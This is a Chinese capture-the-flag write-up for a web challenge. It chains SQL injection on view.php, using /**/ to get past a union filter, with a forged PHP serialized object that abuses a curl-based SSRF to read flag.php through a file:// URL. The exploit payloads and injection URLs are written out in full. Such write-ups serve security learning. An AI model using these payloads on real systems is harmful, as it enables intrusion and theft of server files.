题目:
注册之后登陆,长这个样子,御剑好习惯,先扫一下,果然有东西
1.发现存在flag.php,robots.txt两个文件,访问robots.txt,发现源码泄露
user.php.bak
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
用户在注册填的bolg会调用get()函数使用curl发起网络请求获得blog内容并显示出来,这里因为curl_exec()使用不当造成SSRF(服务器端请求伪造)。想着在注册的时候直接利用SSRF漏洞读flag.php,但是不可行,因为注册的时候限制了http(s)协议
2.发现存在注入点
http://6238c6f0-f23e-4da7-b23a-428465910c0a.node3.buuoj.cn/view.php?no=1
fuzz一下发现union被过滤,但是/**/可以绕过
view.php?no=0/**/union/**/select%201,2,3,4%23
这就显而易见了,知道了绝对路径,并且根据源码泄露可以知道是反序列化存储
3.直接构造payload
<?php
class UserInfo {
public $name = "test";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$data = new UserInfo();
echo serialize($data);
#O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
?>
view.php?no=0/**/union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27%23
4.读取之后在网页源码中查看
之后base解码就ok